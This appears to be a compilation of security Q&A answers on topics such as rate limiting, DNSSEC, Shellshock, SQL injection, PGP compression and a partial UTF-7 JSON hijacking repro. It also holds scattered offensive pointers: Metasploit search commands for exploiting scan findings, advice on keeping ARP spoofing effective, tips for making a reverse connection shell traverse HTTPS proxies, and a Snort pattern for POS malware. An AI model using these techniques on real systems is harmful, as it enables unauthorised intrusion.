Preventing a Brute Force Attack on API via limiter

Configure Fail2Ban or its equivalent first to quickly reduce the attacks.

Then look at a tool like mod_security to tighten what's allowed to access your API. If you have time create a strict whitelist of what's allowed and block everything else. Configure Fail2Ban to watch your mod_security logs. Getting the basics in here first will help block attacks but you'll also need to do long-term tuning on this system especially as your API evolves.

Watch your logs for common attacks against paths that don't exist in your API then add them to mod_security as things to trigger bans in Fail2Ban.

Ideally, you can do all of the above on a dedicated proxy server running in front of the system running your API but these can also be implemented on the API
system itself.

If there is any way to whitelist the IP's of the users accessing it or require them to use a VPN this would radically reduce the attack surface available to the attackers.

Once you have more time, start measuring the performance of each query against your API if you have one that takes substantially longer to respond (search queries) this may become a target for DoS attacks so you may want to build more defensive rules around this.

Also, it's very important to constantly be hardening your API and the system(s) it's running on. You really want to do vulnerability scanning, use penetration testing tools, AND static code analysis of your code on a regular basis.

Something to also think about, if you have any sensitive data on the database behind this API that will never be requested through the API, something like credit cards might be a good example. It might be wise to export the non-sensitive data subset from the main database and host it on a dedicated server to be used just for the API and block access from this system back into the rest of your network (Think one-way firewall rule). In many cases, this can be a very powerful way to prevent data loss by removing the external attack surface completely from the system with sensitive data. Not every implementation of an API can do this but when it works it can really help.

In regards to the 60 requests per minute per user, there is nothing to stop an attacker from using thousands of fake user accounts in their attack so that won't stop serious attackers but it will throttle abusive users which may be something you also want to do. Likewise, there are MANY different types of brute force attacks. If an attacker aims a terabit of botnet traffic towards your API it really won't matter how you have things configured. Tools like Cloudflare will help in that scenario but again there is a limit to what can be done.

Make sure you also read the OWASP REST Security Cheat Sheet


Why arp returns initial state after arpspoof stopped?

The ARP cache will be updated any time new information is available. This could be due to an ARP announcement, or simply based on entry expiration (for example: the default expiration time is 1 minute on linux).

If you want the spoofed entries to remain in the cache, you have to keep sending ARP messages.

Be aware that various OSes and configurations may make ARP spoofing less effective. You can read more about some of the methods in the wikipedia entry. If you want to know exactly why you are seeing you behavior, you may want to include more details (OS, actual ARP table entries, timing information, etc..).


DNS spoofing of linux distribution repositories

Yes it is possible to do a cache poisoning attack, and yes it is possible to protect yourself.

In addition to the rather standard practice of signing the package files with GPG, some distros use DNSSEC to protect the domains that serve those files against DNS spoofing.

Notice the 'ad' flag in the dns answer below:

$ dig +dnssec security.debian.org.

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> +dnssec security.debian.org.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23375
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 9, AUTHORITY: 4, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;security.debian.org.           IN      A

;; ANSWER SECTION:
security.debian.org.    300     IN      A       212.211.132.250
security.debian.org.    300     IN      A       128.31.0.36
security.debian.org.    300     IN      A       128.61.240.73
security.debian.org.    300     IN      A       128.101.240.212
security.debian.org.    300     IN      A       149.20.20.6
security.debian.org.    300     IN      A       195.20.242.89
security.debian.org.    300     IN      A       200.17.202.197
security.debian.org.    300     IN      A       212.211.132.32
security.debian.org.    300     IN      RRSIG   A 8 3 300 20140827233402 20140728233402 28626 security.debian.org. AF84GPGaVSMwLsTWP0vVJpW6E9r7PL1Pi/LTxGXPUt5x1AxeW8UKJ+wh OiB6tPy91sBRA5GfNofq+P3AhsWt2JGSR/iiN9qq6p6ryU6G5gQeZbYY MYVGDzf3j2z+kUMbsB902L/fPeJzLDxyaJzHPLU8alzs+4bvvKfd4SeA +MyGrckpFkr0Csi2LtRKGA5hJPrxFcHOFeWsY+n/mjAxy8g6SSdYrKVZ 3kk5G9sR1kKSiyHwxFVaIQXR0j1skl9/

;; AUTHORITY SECTION:
security.debian.org.    28800   IN      NS      geo1.debian.org.
security.debian.org.    28800   IN      NS      geo2.debian.org.
security.debian.org.    28800   IN      NS      geo3.debian.org.
security.debian.org.    28800   IN      RRSIG   NS 8 3 28800 20140827233402 20140728233402 28626 security.debian.org. TpTt53QAgOwwH38oqkfbm4F07j78VthQCzcHezN+N0+fPu0vXiatFMAI 1CBAFkYj/rkYNfv+xhM7OfvNgWMcRoMn9v7UOtMdxUOsjO2lQCVdjMsx TRz9OITY/NZWVD0/hkNXvpBVbsFW+y0JRzEb0xegHdGYHS1A9PVwRlCT 2DJLgkL6mS+RrOfteEDZD80HZZiiQcDLf1CgG6K2s5wNUIwsAzZdFEWC XnCXAguK3PVusvvnHz1i09B9qducyd+8

;; Query time: 2370 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Jul 29 04:00:11 2014
;; MSG SIZE  rcvd: 719

By default, debian (and AFAIK most other distros) will require the GPG signature to match.

If you want to take advantage of the DNSSEC protection on the domains that serve the package files, run a validating caching nameserver locally, such as unbound or bind.


Is it a security risk, lack of knowledge for reactive action, when abuse mail is rejected?

There are a number of alternative standard addresses that might work. For example, postmaster@example.com, admin@example.com, webmaster@example.com (full list: https://www.ietf.org/rfc/rfc2142.txt).

If that fails, you might want to look for a contract form in the website hosted on the domain, if there's any.

If you can't reach any of these, you may want to do a WHOIS query and send the abuse email to domain name registrant's email address. Even if the registrant uses domain privacy service, the privacy service usually will still forward the email to the real domain owner or have other ways to contact the real domain owner.

If that fails, you might want to try third party abuse address database like https://www.abuse.net/ and see if they have a different abuse address listed there.

If that fails, you can get the IP Address of the abusive system and reverse lookup the IP Address to get the ISP for that IP Addreas. You can notify the abuse contact address of the ISP instead. ISPs are usually more responsive to these kind of requests than individual domain owners. Most ISPs don't want abusers in their network, just as much as you don't want them abusing yours. Reputable ISPs would usually try to contact the customer, investigate the abuse, and if they consider the complaint has a case and the abuse doesn't cease, they can, at their discretion, shut down or filter the customer's internet access.

The lack of abuse@example.com addresses doesn't necessarily mean that there's nothing you can do about abuses. There's a number of alternatives you can pursue.


Export env variables on the server? (Shellshock)

The attacker isn't setting environment variables on his own.  What's happening is that the CGI specification for communication between a web server and CGI executables says that a number of parameters (such as HTTP headers) are to be passed as environment variables.

This means that an attacker can't set sensitive variables such as PATH or LD_LIBRARY_PATH, but they do have control over ones such as HTTP_USER_AGENT.  The "shellshock" attack doesn't care what environment variables it uses, it just needs the ability to make one of them (any one) look like a bash function.


Problems with this 2 factor authentication implementation

I don't see any glaring security issue with this, except for I don't really trust SMS for 2FA. I prefer TOTP codes, generated by Google Authenticator, Authy, or any other password manager out there.

Back to your process: you don't need 2 timestamp fields. It's trivial to calculate time + 5min on any language you use, so adding it twice is superfluous. Just createdTimestamp is enough.

An usability note: your users will not like to have to enter SMS codes every time their login expires for any reason. You could ask for the SMS when they first log, and toggle the userConfirmed flag somewhere. You know an user is trusted when they sent the first 2FA token, no need to ask them again and again. Ask again when they buy more than 2 or 3 gift cards, or redeem more than a few.


How to exploit vulnerabilities found from OpenVAS?

You can search within metasploit using the search command for example :

msf>search ms08-067

you can also search by the name of the program that has a vulnerability using:

msf>search name:windows

http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands#search


Known Password Lengths and security considerations

If we assume that there are 128 possible characters in a password (2^7), then there are 2^154 possible 22 character passwords.

There are 2^147 + 2^140 + ... shorter passwords, which is pretty much the same as 2^147. So you have to do 1/128th less work if you know it's 22 characters and so don't have to try all the 1-21 character passwords first -- less than 1% less work, and not really significant.


MAC addresses are link-local only. Most attacks don't (have to) come from the same subnet, so most rely on higher-layer addressing. Changing your mac address does little to hide you.

There are a variety of problems with changing your MAC address often. One, off the top of my head, would be that DHCP reservations wouldn't work. It could be marginally less efficient for switches. Also, it makes troubleshooting marginally more difficult; the first 24 bits of your MAC address identify the hardware vendor, and programs like Wireshark helpfully decode this into a friendly name. That would be nonsense for a random address.

Attackers may want to change their MAC addresses, but that's a very different (and very specialized) circumstance.

But mostly, I just don't think it's that useful.


Is there a microcode or other hardware fix for Meltdown?

The current microcode fixes change the behavior of the branch predictor in two ways: by disabling prediction of indirect branches (referred to as IBRS), and by flushing the contents of the indirect branch predictor when performing a context switch from userspace to kernelspace or vice-versa (referred to as IPBP).

Both of these make the Spectre attack harder (an attacker is now restricted to attacking direct branches, which greatly reduces their choice in which code to have speculatively executed).  They have no effect on the Meltdown attack, which is about speculatively bypassing memory-access restrictions.


SQL Injection Attack - Permissions Defenses

An SQL injection adds a new SQL command to the command the website uses to retrieve / update / add data to the Database.
Since nearly all websites that use a database need to have some tables to write in the attacker can always add data there.

More importantly, most of the time the database holds information not available to all users of the website (like for example the user table with usernames email addresses and passwords (-hashes). a table the website itself uses (so needs access)

When security in depth is applied you do lock the database user the website uses for access to only those the website needs access to (as limited as needed)
This does not eliminate the risk of an injection, just limits how far it can spread. but all tables available to the website are available to a injection user when SQL injection is not mitigated.


I have to write down credit card information on paper and send it. How can I minimize my risk?

They shouldn’t be asking you to write down your CVV number at all. Payment Card Industry security standards prohibit merchants from storing that information, and on paper counts. If they can’t process your card electronically so that the CVV is only ever held in memory then they shouldn’t be using the CVV at all, and accepting the risk that the transaction will be repudiated. You could report them to their payment processor, if you have any way of finding out who that is.


Disable guest access in / directory Ubuntu

restrict write or read access to / directory for a certain user, that is not root

Yes, use permissions. Every multi-user operating system (including MS Windows, Linux and Unix) has some capability for controlling file access.

While Stackoverflow encourages us to provide inline answers, a full explanation of how Unix permissions work would be a bit over the top in an answer here (don't panic - its not too complex) and I would struggle to do a better job than Paul Sheer does in "Linux:Rute User's Tutorial and Exposition" which is available in print and free pdf's on the internet (chapter 11).

As a taster, the standard Unix/Linux filesystem privileges are Read (r), Write (w) and Execute(d) and each can be applied to 3 categories of users - the designated owner of the file/directory, the designated user group of the file/directory, all users on the host.


Can we use reverse image search to bypass image CAPTCHAs?

Yes, it can be bypassed and it was by quite a lot of groups/people. There are several payed services that offer exactly that. Their methods are advanced enough to recognize the images and solve it successfully, even better than most humans when it comes to text and with above 50% success rate when it comes to pictures, which is more than sufficient to bypass it.

To understand some of the ways this is possible, read the paper I’m not a human: Breaking the Google reCAPTCHA


Is it safe for GPG to compress all messages prior to encryption by default?

Encryption leaks data length: for any given input message, the encrypted output will have a length which will be close to that of the input message. If using a padding-less encryption mode (e.f. CFB, as used in the OpenPGP format that PGP implements), then the cleartext data length can be recovered exactly. This is a property common to all encryption systems, and it is the reason why traffic analysis is a powerful attack tool.

Compression does not qualitatively change this issue, but it can worsen it. Compression makes data length dependent on data contents, so it can leak extra information. For instance, consider a payment system for some Web site: the customer sends his credit card information to the site, which then forwards the credit card number, along with the transfer amount and the current date, to a partner bank. Suppose that each such message is to be encrypted with OpenPGP, and has a fixed-length format (16 characters for the credit card number, and so on). The fixed length is meant to deter traffic analysis. However, with compression active, this is not so: the message will be shorter if the amount or the current date contains digit patterns which are also found in the credit card number. The attacker knows the current date, and can infer the transfer amount (it must match the price of one of the items which are sold on the site), so the leak can be exploited to gain some partial information on the credit card number.

It is all a matter of context. The Web and HTTPS offer some characteristics which make exploitation quite effective:

The victim's browser includes the target secret (a cookie) in each request it sends, at a predictable place, and always the same value.
The attacker can inject hostile code (Javascript) which can arrange for triggering requests at will, hundreds of them, without anything showing up on the user's screen.
The hostile code from the attacker gets to add a lot of data of its own choosing along with the secret value. This is a chosen-plaintext attack.

Thanks to these characteristics, CRIME works (well, not anymore since browsers don't support TLS-level compression, but it used to work). But they don't apply to usual OpenPGP usage contexts. PGP was meant for emails, with a human painfully typing each message, and another human reading them at the other end. No hostile code, no or very little chosen plaintext, and the fuzziness of human language moving around secret values.

Hence, we can say that the normal usage scenario of PGP is such that compression does not substantially degrades security, which justifies its use by default. Although, to be fair, PGP does not compress by default because it is usually safe; it compresses by default because that's what it did twenty years ago, and old habits die hard. In the beginning, the compression was there to make up for the overhead of encryption, mostly the extra few hundred bytes for the asymmetric cryptography, and the +33% size increase implied by Base64 encoding. With recent hardware and networks, this is hardly relevant; PGP compresses out of Tradition more than anything else.

To conclude, an enlightening story. In early 1942, the US Navy was trying to prepare for the next Japanese attack after Pearl Harbor and the battle of the Coral Sea. The target was known under a code name in the Japanese communications. To confirm its identification, the Americans deliberately sent fake messages among the normal transit of routine messages, in order to see that information show up in the Japanese stream and correlate it. In this specific case, they claimed that their base at Midway had a broken distiller. The Japanese encoded transmissions reported that the target for the next attack was short on water. This crucial information was instrumental to the Japanese defeat, after which it all went downhill for Japan until the end of World War II. (Even Wikipedia has pointers on this anecdote, so it is not only a nice story, but it might even be true.)

This is a chosen-plaintext attack all right, coupled with traffic analysis. The important point, for the present discussion, is that routine messages are computer-like: though it was in 1942, military behaviour can be considered to emulate a mindless computer. The chosen-plaintext attack could be pulled off because it took place in a context where the victim (here, the Japanese communication network) could reliably be made to relay chosen information, in its own coding system, with a predictable format.

The same applies to PGP. If you use PGP in the traditional way, for handcrafted text messages, to communicate from a human brain to another, then compression is safe. If you use PGP in an automated way, to send lots of messages in a predictable format with contents that can mostly be guessed or even chosen by attackers, then compression may substantially increase your security issues.


Recovery possibilities with Zero knowledge encryption

The main approach of the Zero knowledge is to derive a standard key from a password (using dedicated algo like PBKDF2).
With this approach, you can consider the following :

The system does not need to keep an encrypted version of the key, as the key is regenerated, when needed, from the user password.
The user does not need to have the key on a USB stick. As the key is derived from the password, only the password has to be stored (in the brain of the user).

All the beauty of the ZK model is about decrypting at the client side so the cleartext data are never located on the server side.
So, yes the user can access his data and No, the server does not have to know the data.
I didn't use the formulation "the server cannot know the data" because the ZK model is not perfect as the client side gets the code to execute from the server.
So, a compromised server could send malicious client side code crafted to send back cleartext data after they are decrypted by the user.
About the fact that we use a password instead of a key. You could think that is weak because, as the key is derived in a deterministic way from the password, the entropy of the key is finally the entropy of the password.
But, algorithms like PBKDF2 are designed to be robust against bruteforce (with many rounds of hash function). So, even if the password entropy is 80 bits (instead of 128 bits for a key), the attacker cannot test many passwords per second. But with a direct usage of a 128 bits key, he could try billion of keys per second.
This is why it is considered acceptable to use a password instead of a key as long as the password is not too easy to find.
Designing a architecture where the server does have zero knowledge but can let the user recover its data, if he lost his password, is difficult (at least).
Most of the solutions assume that your data are definitely lost if your forget your password and it is a assurance of security.
One possible solution is to give the user a recovery key when he sets its password and warn him to keep this key somewhere physically protected (but this key is not stored by the server as he never accesses it, only the client side).
Sharing data between users can be achieved by using an unique key which is dedicated to encrypt the data and then, this key is encrypted by the key of each user.


How does one protect an iPhone against Grayshift hacking?

The problem with Apple's USB Restricted implementation (currently) is that it is triggered by the plugging/unplugging of something into the Lightning port.  So, for example, if you catch a device within the 1 hour window before the mode enables (and locks you out), you can unplug the cable and plug it back in before the end of the countdown happens and you now have a whole other hour to work with. Repeat this for unlimited attempts, just like before the feature was added.  So, the viable workaround would be to just add a function to perform an unplug/plug action every 59 minutes or so, to gain another hour of brute-force attempts.

That is POSSIBLY how Grayshift worked around the problem as it is very easy to implement.

Apple's already aware of this issue and are probably working on changing the behavior to make the timer only reset if the device is unlocked again rather than by unplugging the cable before the countdown has finished.


Securing a private RSA key for distribution

Its done by using a "Smart card" tamper resistant storage chip, so the key can only be "used", not "extracted". If any attempt is made to attack the chip to reveal the key, different sensors will react and erase the chip as soon as it is powered up.

The sensor is usually one-shot, eg when a specific condition is met, the sensor is permanently tripped, so as soon as the power is applied, it will detect that the sensor is tripped and erase the key.

The key is also stored in a way so it practically becomes impossible to extract the key using passive methods while the chip is offline.

Propably the chip will also include battery and a trusted clock, to prevent tampering, so it can also detect any tampering "offline".

This chip will propably be part of a hardware device that must be used in conjuction with the POS system, either embedded, or if its a software POS, a USB key or something inserted in the USB port.

The reason a key scheme is used, is to prevent someone from creating a fake journal that is a exact copy for the genuine journal except that certain records is changed.

Here in sweden a similiar scheme is used, but instead of requiring each POS vendor to gain a key, a "journal box", that is compatible with all POS system is used. This journal box signs data in roughtly the same way, and a verification code is shown on receipt, but the difference is that only the "journal box" vendors need to be "trusted".

And no, theres no requirement for a offline signing system. The vendor can simply require online-signing for software-only solutions if no hardware is to be distributed, and then if the internet is down, then its simple as "you are not permitted to sell, period".
A similiar rule is here in sweden if theres a power outage. Not allowed to sell.


Am I exposed to WebRTC leaks if my IP resulting from WebRTC is the IP of my VPN server with the last digit augmented by one?

As your own IP address is not visible, your private IP addresses are not leaking.
The reason you might see a different IP address in the network of your VPN provider is because of the way your VPN provider's network is set up.
You might want to disable WebRTC in your browser to be on the safe side.


How to block for open Web Shell in my CentOS 6

ModSecurity is a Web Application Firewall. FTP is not Web traffic, HTTP and HTTPS are. This means ModSecurity cannot be used for filtering FTP traffic not can it be used to filter mail traffic.

Also, ModSecurity does not protect against misuse of hacked accounts or severe server misconfiguration in general. If somebody is able to use FTP to upload malicious code which then can get executed as part of the website (like a webshell) then this can only be done if you either allow anonymous upload to your web hosting (misconfiguration - just don't!) or that the username and password to your account is known to the attacker.


It will 'alert' on any TCP connection from an external network to an internal network (DMZ) as long as the content of the packet matches '99 F3 00 00 00 00 00 00 FF FF FF FF' (which matches the BackoffPOS 1.56 process injection module).

While there is more to the rule; depth, setting the flowbits to a pre-defined class (AccessRemotePC_detection; used for easier reporting) as well as 'classtype', in simplest terms that is your rule breakdown.


The key wrap algorithm can be envisioned as an extended Feistel scheme which uses AES as the round function, combined with a running state which serves as a rough MAC. If you look at the algorithm definition, you will see that for each of the s rounds, one 64-bit block of data is updated, with a combination function which includes an AES invocation and another 64-bit block. The blocks are also "rotated" so that the next round updates another block, and so on. This really is akin to defining a big block cipher operating over the complete plaintext as a single "block".

As symmetric encryption systems go, this one is quite inefficient, because it involves an average of 1.5 AES invocation per input byte (12 AES invocation for a 64-bit block), whereas GCM would use only 0.0625 AES invocation per input byte (one AES every 128-bit block). It also needs to process each input byte several times, so the entire plaintext message must be fully buffered: this will be inadequate for bulk encryption.

The key wrap algorithm was designed to protect keys and suffers from some ritualistic overkill: a lot of accumulated AES invocations on the hope that it will make so much scrambling that the result will be strong. This is not a bad bet; if we look at it as an extended Feistel cipher, then there is some empirical data that many rounds will bring security. This should deserve some decent analysis, though, and, to my knowledge, this has not occurred yet. This is probably related to the fact that this key wrap algorithm appears not to be much used in the wild.

Good properties of the AES key wrap algorithm include the following:

It does not need randomness. Randomness is a scarce resource on many embedded systems, so having a scheme which is secure without it is nice.
It does not need state. No EEPROM or Flash bit to modify, if only to keep a counter.
It is deterministic. This means that wrapping the same plaintext with the same key will yield the same sequence of bytes. Determinism is mostly neutral, but occasionally useful in some protocols.
It uses a single primitive, which is "the AES": code size is also a scarce resource on embedded systems.
It has low size overhead: it adds only 64 bits to the input size, and includes a MAC, so that's about the smallest than can be achieved.

Bad properties are mostly these ones:

The algorithm is inefficient, with a high CPU cost per byte, and the need for full buffering. This is why the algorithm is meant for key wrapping, where "keys" are short entities, keeping the wrapping costs under reasonable limits.
Despite its 12 years, the AES key wrapping algorithm did not benefit from a lot of analysis or even attention from the cryptographic community, probably because of its restrictive use cases.


You are trying to use a technical tool to solve a social problem. The answer is that cannot fit.

Techniques can provide great security when correctly used, but only user education can allow proper use. I often like the who is responsible for what question. That means that users should know that they will be accountable for anything that could be done with their credentials. It is not enough to prove that they did not do it, they shall prove that they correctly protected their credentials.

The physical analogy can also help. They would not let the key of a physical safe unattended. They should understand that when they are given reasonably secured credentials, they should see it as a physical key and use it the same. But as they are used to their own home computer with no security at all, education is hard and things are to be repeated. Unfortunately, I have never found a better way...


Seems to be by mistake, I saw it on many of these small job boards / platforms but not on other websites.

The code looks like some part of a social media widget which was pasted in a job posting by accident as it seems.

Also the code is harmless.


Session tokens are considered secret, if you copy them from one browser to another then it's normal that you can actually access it as your applications looks at these values to verify identity.

If you are using a web-proxy tool like burp, attackers have already succesfully performed a man-in-the-middle. That's why we use SSL/TLS: to encrypt the traffic so that this sensitive token doesn't leak.

There are some mitigating actions you could take such as checking the user agent or the IP addresses for each session. If these change then you immediately invalidate the session.


How an IDP sends SAML assertion to an SP?

Typically the user (whose identity is the thing in question) authenticates to the IdP using a web login form in a browser (or something like that involving sending credentials over HTTPS). The IdP returns a SAML message to the user's browser in the HTTPS response body, or possibly in a Location (redirect) header. The browser then sends an HTTPS request to the SP, passing the SAML either in the URL (query string, usually a GET request) or in the request body (usually a POST request). The SP then verifies that the SAML is from a trusted IdP and hasn't been tampered with.
At this point the SP knows the user's identity. The SP uses this to determine what services / resources the user is permitted (authorized) to access. The SP also often gives the user it's own session token (possibly a JWT) for ongoing access, rather than continuing to use the SAML.
If the SAML was conveyed via the URL, it is essential that it be single-use (or at least expire extremely quickly), as URLs are less secure than HTTP message bodies due to frequently ending up in logs, etc.


Are esc_* functions enough safe in WordPress? (like esc_url, esc_attr, esc_title)

In my opinion these functions and their documentation are pretty clear at which places these functions should be used and what they do. esc_attr escapes attributes in HTML tags and sanitize_title sanitizes the title and removes HTML, PHP etc. Since attributes (for esc_attr) are (only) used inside HTML tags and HTML tags will be removed by sanitize_title it makes no sense to use esc_attr inside sanitize_title: any escaped attributes inside HTML will be removed together with the full HTML tag.

The esc_... and sanitize_... functions itself are secure as long as they are used for the purpose which they were designed for (and which is documented). If one instead tries to use esc_attr to escape a URL etc then this does not match the documented purpose and likely provides not the intended security.


Verify external data files for an application

Maybe that solution is just fine to you, security is always about the risks you are willing to take.

I could write you how a signature would be a much better approach to you solution since you are the only one who will be able to "sign" the "hashes" so no one else can generate an arbitrary file and just hash it.

But maybe, this approach is far more inconvenient to you because it brings more entropy and work with certificates, development...  And, you know, even that can be bypassed cracking the executable an placing a bunch of jmps...

So, maybe, your approach is fine, the main problem is that anyone can hash a file, so anyone will be able to use your app if they know that trick (you may be thinking about "inventing" your own hash, but anyone here will recommend against it since that is a "security by obscurity approach").

The question here is, how valuable is your software so someone is willing to crack it down? If you think, well, not many users will think about crack it, or most of my users are non-techie type and I don't think they will crack it...


In most cases people gather lists of big companies IP address ranges from their BGP AS numbers which are associated with ranges of IP addresses. A quick search at a public BGP AS looking glass reveals many lists for Akamai IP addresses these can then be aggregated and blocked by your firewall.

This technique usually won't work for smaller companies as they are less likely to use BGP. It also has many limitations in that a company may host servers on another companies network (think cloud compute services) and those servers will not show up under the companies BGP AS IP ranges. None the less, for blocking access to large well-known services this is an easy way to find a companies IP address ranges.

http://bgp.he.net/search?search%5Bsearch%5D=akamai&commit=Search


Is it possible to find the manufacturer of a BLE device from it's mac address?

You can refer to this Wikipedia writeup

And yes, Hardware Manufacturer can be identified from the first 3 octet aka OUI

Sources: Wikipedia

What is an OUI then?

An OUI {Organizationally Unique Identifier} consists of a 24-bit number that uniquely identifies a vendor or manufacturer. The 24-bit numbers are purchased and assigned by the IEEE.

If you want to jump straight to searching for Manufacturers based on brands. you could google it. Here are some of the links.

1. Macvendors.com

2. macvendorlookup.com

3. coffer.com/mac_find/

4. Wireshark OUI lookup

5. macvendors.co


Did you run the plugin Wordfence? it checks all files to see if you have any mailicious code present and gives a report. If malicious code is present, many files besides footer will be affected, including false/fake files.

Check the report and remove accordingly.


When is garbage collection activated on my Samsung T3 external usb SSD drive?

In the absence of TRIM, an external USB drive (SSD or not) is pure block storage. It just stores 512 or 4096 byte blocks. It doesn't know about files, let alone whether they're deleted.


While it's possible for a particular implementation to do something different, in every XMPP server I've looked at:

Messages are NOT end-to-end encrypted.

Messages are stored on the server in clear text.

Messages are mapped to both sender and recipient.

Messages are generally stored permanently on disk, subject to only local house keeping cleanup.

XMPP is essentially e-mail with realtime presence indicators.


Why OpenSSL can't use /dev/random directly?

Reading bytes from a device can be troublesome (you have to account for syscall specificities, e.g. interrupted system calls) and can potentially be inefficient if reading many small chunks (a syscall has a non-negligible overhead). A custom software PRNG, seeded with bytes from /dev/urandom, gives more control over performance.

(Also, there might be a bit of NIH syndrome here, too.)


You are probably exhausting the router's resources, primarily the NAT table. Every outgoing connection maps your scanning machine's private IP address and source port onto a new source port on the router's public IP address. Since there are more IP address + source port combinations than there are source  ports on the single public IP, the router has to do extra work to avoid collisions. Ideally, this would not cause a reboot or a crash, but home routers are not ideal pieces of equipment.

The easiest way to slow your scan down to something your router can handle would be to change -T4 to -T3 (the default). If that doesn't work, continue reducing the timing options until you get a good result. The other thing that can help if you are scanning more than one known-alive IP address is to not use -Pn.


Why do I have a specific route for this strange IP?

I think I found what's happening everytime I change my VPN connection to another country, this specific IP changes. Of course, it's the open VPN app making an out connection to the server so the connection doesn't go through the tun device for the open vpn client


What is a good rebuttal to users who wish all data WITHIN Db be encrypted?

See what you have there is a solution looking for a problem.

You should start by asking the business what problem is it they are actually trying to solve.  you most likely want to frame the response in terms of CIA (Confidentiality, Integrity, Availability).

If you are feeling really brave try to get the business to perform a threat model on the system, you may find that data confidentiality is not necessarily your biggest risk.

Once you have that information you can come up with real mitigations to the real problem that do not necessarily include encrypting the whole database.  e.g. for confidentiality you can use good authorisation/access control lists.  For data integrity you can consider using data hashes or MACs (you would also want to consider strong auditing to see who is using/changing the data).  For Availability you are looking at typical IT solutions for this, data backup and restoration, server redundancies etc.


Power friendly home router, firewall, IDS/IPS setup?

Have in the past used a MikroTik as router and firewall, and a Mini-ITX running Snort and some more intelligent filtering than the basic MikroTik box. Don't know what the total power consumption was, but they didn't even get warm.

Easy to setup and they just work:-)


Freebsd: Separating apache service and www-data(htdocs) with jails, is it worth it?

I don't know if it is worth it, either.

I think taking regular backups of your web content might give you some of the benefits of jailing off the web-content from the Apache server, and backups might be easier to implement.  Backups don't prevent a compromised Apache server from modifying the web-content, but it gives you a way to roll back to an uncompromised state if you should get compromised.

Ultimately, only you can decide whether it is worth the effort, but my sense is that jailing off the web-content separately probably isn't worth it.  It won't help with the most common kinds of vulnerabilities.  These days, vulnerabilities in the Apache server itself are relatively rare.  Instead, the most common case is vulnerabilities in the web application (e.g., in PHP/Ruby/Java code), and jailing off the web content won't help with those kinds of vulnerabilities.  Therefore, I think I'd recommend that you focus your hardening efforts on defenses and mitigations that help with application-layer vulnerabilities in your web applications.


The basic protocol for getting a singed certificate from a CA is the following:

Requester generates a key pair (a private key and a public key)
The private key is put aside and should never leave the computer
Requester generates a Certificate Signing Request (CSR) which contains basic information that will go into the final certificate (Distinguished Name, Country, ...)
Requester submits the CSR to the CA which will verify it (eventually contact the requester to establish it's identity)
When the CA trusts the CSR belongs to the identified person, the CA will issue a certificate which is basically the CSR signed by the CA's private key (plus some information to track the signature back to the CA)
The requester can now use the certificate which embeds it's public key signed by the CA to establish communication with clients.

So when importing the signed certificate, you should not have to create any private key (you should already have it). It is also good to know that many program managing key generation will also propose to put the private key into a secured file. This file will be encrypted (AES probably) with a passphrase you should supply.


Removing a Redirect Virus from Fedora Linux

Here are some of the steps I would take:

1) Run Burpsuite as a proxy server, intercept the calls, and analyze whether or not there is a specific page you are visiting that is causing this.

2) Uninstall any browser plugins you may be using

3) Remove and reinstall the browser(s)

The extreme measure would be to dig into your files and find where the redirects are coming from. For example, let's say one of the sites you are seeing is called www.HappyGoLucky.com, you could open a terminal and try the brutish method of finding where (in what files) is this site stored at:

find . | xargs grep -i happygo

But that would only find the domain if it hasn't been encoded (base64) or wrapped around some obfuscation.


Is it really better to use port 80 or 443 for outgoing traffic in order to bypass user firewall?

Port 443 is for SSL. Since SSL is "opaque" to outsiders, firewalls cannot see what is going inside it, and cannot do some transparent proxying. Moreover, a lot of the Web uses port 443 (all https:// URL). Therefore, port 443 is one of the ports most likely to be open for outgoing connections, even on sites with strict rules.

Note, though, that some sites block all outgoing connections except those which go to a specific proxy. SSL cannot be proxied transparently, but it can be done explicitly (with a CONNECT call). If you want to implement a "reverse connection shell" which will work almost everywhere, then you must be able to detect and use a possible proxy for HTTPS.


Is it better for me to bang on the keyboard for 12 characters or use my password manager's generator?

The password generator is better. It will use a system designed with the sole purpose of generating random chars. Your brain is not designed for this.

If you mash the keyboard a hundred times and create a heatmap of the typed keys, you will see the keys most used is the central ones, and the peripheral ones less so.

Open your text editor, and generate more than 30 passwords with your method. Then run this script:

awk -vFS="" '{for(i=1;i<=NF;i++)w[$i]++}END{for(i in w) print i,w[i]}' file-you-saved | sort -g -k2

It will take all the chars, count them, and sort them based on frequency. For your method to beat the password generator, the letters should have more or less the same frequency.

If the site you are logging in allows for more chars, do it. I use 64 when allowed, or the maximum allowed when it's less than that.


Change of DNS in MX records in a Wordpress site

Changes to MX records are very unlikely to have occurred due to an attack on the WordPress site, with the exception that if your DNS is running on the same server, it might be possible. That wouldn't be a typical configuration: if you bought a domain name, it's more common for the DNS records to be associated with that provider's infrastructure, even if you bought it from the same provider as hosts the site.

Given that, it's likely that unauthorised changes to the DNS records would have resulted from the account with the hosting provider being compromised, rather than the site itself. Therefore, I'd advise looking at whether it is possible that the provider account has been compromised, and, since it wouldn't be unheard of, whether the provider has made some updates to their mail environment which required changes to the MX records.

Assuming that the changes are malicious, the attackers would be able to control where email sent to addresses on the domain actually went. Typically, they don't care much about the bulk of mail to most inboxes, but they are interested in password reset mails for more valuable accounts, material which could be commercially sensitive, or material which could be used for blackmail purposes.

It is possible that access details to your provider account were available within the Wordpress environment: if they were shared with an FTP connection, or a mail server, for example. If that was the case, the compromise of the site could be linked, but it's equally possible that the hosting provider was compromised, or that the account used a guessable password, and they got lucky.

This change would persist through restoration of the site, PHP changes, or even a complete reformat of the server (barring exception above), since it isn't on that server. The DNS records point to the web server and the mail server, but these can be from completely unrelated providers.

You'll need to take it up with whatever company runs your DNS records. This is usually the company you bought the domain from, unless you have specifically changed to a third party service. If you have changed, that provider will be the


UTF-7 JSON hijacking on Microsoft IE and Edge

I assume you're referring to this comment, "Microsofts IE and Edge are still vulnerable to the UTF-7 JSON Hijacking though."

Following the instructions from this 2011 blog post on JSON Hijacking, I reproduced the problem with Microsoft Edge 20 and IE11.

Create an HTML file like this:

<html>
<body>
<script src="x.json" charset="UTF-7"></script>

And an x.json file like this:

